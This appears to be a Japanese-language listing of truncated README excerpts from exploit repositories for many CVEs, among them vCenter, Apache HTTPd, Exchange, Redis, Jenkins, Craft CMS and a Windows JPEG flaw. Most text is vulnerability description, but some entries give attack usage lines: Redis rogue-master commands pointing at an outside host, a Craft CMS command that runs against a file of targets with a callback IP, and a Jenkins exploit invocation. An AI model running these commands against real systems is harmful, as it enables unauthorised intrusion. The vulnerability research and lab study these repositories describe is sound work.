cve-2021-22005-exp

cve-2021-22005-exp 0x01 脆弱性の概要 2021年9月21日、VMwareはセキュリティアドバイザリを公開し、vCenter Serverにおける19件のセキュリティ脆弱性を開示しました。これらの脆弱性のCVSSv3スコアは4.3〜9.8の範囲です。 その中でも最も深刻な脆弱性は、vCenter Serverにおける任意ファイルアップロードの脆弱性（CVE-2021-22005）です。この脆弱性はvCenter Serverの分析サービスに存在し、そのCVSSv3スコアは9.8です。vCenter...

CVE-2021-41773

CVE-2021-41773 Playground これは、CVE-2021-41773 に対して脆弱な Apache HTTPd 2.4.49 のインスタンスを備えた Debian bookworm ベースのコンテナをセットアップするための小さな Docker レシピです。 CGI は明示的に有効化されているため、ローカルファイル開示 Local File Disclosure の動作とリモートコード実行 Remote Command Execution の動作の両方をテスト・検証するために使用できます。 使い方 $ docker-compose build &&...

cve-2020-0688-webshell-upload-technique

Exchange リモートコード実行 cve-2020-0688 - レッドチーム モード ON 必須: python3+ ユニバーサル cve-2020-0688 の Python 実装。ASPX ウェブシェルを利用してカスタムコマンド出力を行います。 これは、セキュリティ上の理由から脆弱性のデモを容易にするための単なる POC です。 私はすべての違法行為を否認します。また、このスクリプトが行ういかなる行為についても責任を負いません。...

WonderShell

WonderShell - CVE - 2021-44595 | CVE - 2021-44596 発見者 BugSec のセキュリティ研究者である Netanel Cohen と Tomer Peled。 説明 Wondershare Dr.Fone を悪用する POC の例。 Dr.Fone は wondershare が開発したフォントールキットであり、RCE に対して脆弱です。 ネットワークアクセスのみで、SYSTEM ユーザーとしてリモートコードを実行することができます。 脆弱なサービス: InstallAssistService.exe ElevationService.ex...

cve-2020-8165-demo

CVE-2020-8165 デモ CVE-2020-8165 のもう一つのデモですが、大半のものより現実的な実装になっています。 背景 CVE-2020-8165 信頼されていないデータのデシリアライゼーションの脆弱性が rails 5.2.4.3、rails 6.0.3.1 に存在し、攻撃者が MemCacheStore および RedisCacheStore 内のユーザー指定オブジェクトをアンマーシャルできる可能性があり、結果として RCE につながる可能性があります。 参考文献 https://hackerone.com/reports/413388...

CVE-2018-16119

CVE-2018-16119: TP-Link WR1043ND における認証済みリモートコード実行 概要 CVE-2018-16119 は、TP-Link TL-WR1043ND ルータに影響を与える深刻な認証済みリモートコード実行の脆弱性です。この脆弱性により、認証された攻撃者はターゲットデバイス上で root 権限で任意のコマンドを実行できるようになり、システム全体が危険にさらされる可能性があります。 CVE 詳細: CVE-2018-16119 脆弱性の影響 攻撃ベクトル: ネットワーク 攻撃複雑性: 低 必要な権限: 低 認証が必要 ユーザー操作: 不要 影響範囲: 変更あり...

CVE-2022-31199

CVE-2022-31199 - Netwrix Auditor RCE エクスプロイト PoC 🔍 脆弱性概要 CVE-2022-31199 は、Netwrix Auditor バージョン 10.5 以前における、重大な安全でないオブジェクトデシリアライゼーションの脆弱性です。この脆弱性は、TCP ポート 9004 でリッスンしているセキュリティ保護されていない .NET Remoting サービスに存在し、認証されていないリモート攻撃者に NT AUTHORITY\SYSTEM 権限での任意のコード実行を許可します。 脆弱性の詳細 CVE ID : CVE-2022-31199 CV...

cve-2017-12149-playground

多くの重要産業（銀行、医療、製造業）は、JBoss 5 または 6 専用に構築されたレガシーミドルウェアに依存しています。これらのアプリケーションは、多くの場合、WildFly（JBossの後継）の最新バージョンへの移行には脆弱すぎるため、組織はパッチを適用する代わりに「エアギャップ」を設けたり、VPNの背後に隠したりすることを選択します。そのような境界防御が失敗すると、脆弱性はそのまま生存し、パッチ未適用のまま残ります。 JBoss AS 6.1.0 脆弱性研究ラボ このリポジトリは、セキュリティ研究と脆弱性検証のために特別に構成された、コンテナ化されたJBoss Applicatio...

n8n-RCE-CVE-2025-68613

n8n CVE-2025-68613 概要 このリポジトリは、教育目的のセキュリティ研究プロジェクト であり、n8n の特定バージョンにおける安全でないワークフロー式評価に関連する脆弱性 CVE-2025-68613 に焦点を当てています。 このプロジェクトは、管理されたローカルラボ環境でのみ テストされました。 CVE-2025-68613 について CVE-2025-68613 は、影響を受ける n8n バージョンにおけるワークフロー式の安全でない評価によって引き起こされる、認証済みリモートコード実行 RCE の脆弱性です。...

vbox_cve_2017_10235

CVE-2017-10235: VirtualBox E1000 デバイスのバッファオーバーフロー はじめに 以下の文書では、VirtualBox v5.1.22（v5.1.24 で修正済み）で発見されたバグについて詳しく説明します。このバグは、ゲストデバイスエミュレーションコンポーネント DevE1000（ Intel 82540EM イーサネットコントローラエミュレーション ）内の関数 e1kFallbackAddToFrame に存在し、攻撃者によって制御されたゲスト OS がホスト上でバッファオーバーフローを引き起こす可能性があります。 このバグは、Oracle によって...

CVE-2023-50164

HackTheBox ラボ向け Exploit CVE-2023-50164 説明 この exploit は、HackTheBox の Strutted ラボ向けに開発され、Apache Struts 2 の CVE-2023-50164 の脆弱性を悪用することを目的としています。この欠陥により、ファイルアップロードパラメータの処理における不備を介して path traversal が可能になります。この exploit は、攻撃者がどのように 悪意のあるファイルのアップロード を行い、リモートコード実行 RCE を達成できるかを示す目的で作成されました。 注記: この exploit...

CVE-2022-42889-POC

CVE-2022-42889-POC Apache commons-text の脆弱性 CVE-2022-42889 に対する概念実証（PoC）です。 問題の内容 : Apache Commons Text は変数補間を実行し、プロパティを動的に評価・展開できるようにします。補間の標準形式は "$prefix:name" で、"prefix" は補間を実行する org.apache.commons.text.lookup.StringLookup のインスタンスを特定するために使用されます。バージョン 1.5 から 1.9 にかけて、デフォルトの Lookup...

CVE-2020-7931

CVE-2020-7931: Artifactory Pro における SSTI エクスプロイト CVE-2020-7931 は、Artifactory における意図的な設定ミスの脆弱性であり、攻撃者が FreeMarker テンプレート から サーバーサイドテンプレートインジェクション を実行することを可能にします。 この脆弱性は Atredis の Ryan Hanson によって発見され、2019年後半にすべての影響を受けるバージョンに対して修正されました。この脆弱性は Artifactory の Pro バージョンでのみ機能します。他のバージョンにはテンプレート機能がないためです...

Redis-RCE

Redis-RCE redis4 および redis5 向けリモートコード実行 https://github.com/Ridter/redis-rce の Python コード soファイルをロードして新コマンド system.exec を拡張し、コマンド実行に成功 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp 0x03...

CVE-2023-5360

CVE-2023-5360 Elementor ファイルアップロードエクスプロイト Royal Elementor Addons and Templates WordPressプラグインのバージョン1.3.79以前では、アップロードされたファイルの検証が適切に行われないため、認証されていないユーザーがPHPなどの任意のファイルをアップロードし、リモートコード実行（RCE）を達成できる可能性があります。 / / | / / / / / | | / / / / / | |/ /// / |// | \ / \ | / / // / / // / / 例: python3...

CVE-2017-1000353

CVE-2017-1000353 POC Jenkins CVE-2017-1000353 を再現する方法？ このリポジトリをクローンし、以下のコマンドでビルド済みペイロード jenkinspoc.ser を使用します： python exploit.py http://your-ip:8080 jenkinspoc.ser すると、touch /tmp/success が実行されます。 Java バージョンの要件 重要 : ペイロードの生成は Java のバージョンに依存します。openjdk:8u292 で正常にテストされています。他の Java...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Windows上のApache Tomcatでのリモートコード実行 cgi-bin 使用方法： Usage: python CVE-2019-0232.py url cmd テスト環境： jdk8 apache-tomcat-8.5.39 https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/apache-tomcat-8.5.39.zip...

CVE-2025-53694-to-CVE-2025-53691

Sitecore CVEチェーンエクスプロイト このリポジトリは、Sitecore Experience Platform XP バージョン 10.4.1 以前のクリティカルな脆弱性チェーンに対する概念実証エクスプロイトを含んでいます。 脆弱性 CVE-2025-53694: 情報漏洩 CVE-2025-53693: キャッシュポイズニング CVE-2025-53691: リモートコード実行 エクスプロイト 3つのエクスプロイトはすべて私のプロフィールで個別に入手できます。chain.py...

CVE-2024-56145-craftcms-rce

スクリプトを再度実行する前に、次のコマンドを実行してください： fuser -k 6666/tcp 使用方法 - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 カスタムコマンドも使用できます。例：python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i はあなたのIPまたはVPSのIPです（ipconfig / ifconfig で確認できます）。 例：python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 Windows グラフィックスコンポーネント RCE x64 悪意あるJPEGによる重大なリモートコード実行 – Windows 11 24H2（未パッチ） CVSS 9.8 – 特権不要、操作不要 CVE-2025-50165 - windowscodecs.dll 信頼できないポインタの逆参照 発見者: Zscaler ThreatLabz パッチ適用: 2025年11月 KB5040442 機能 完全なx64ヌルフリーシェルコード（calc.exe起動 – 169バイト） APP1/EXIFセグメント内のヒープスプレー＋ROPチェーン...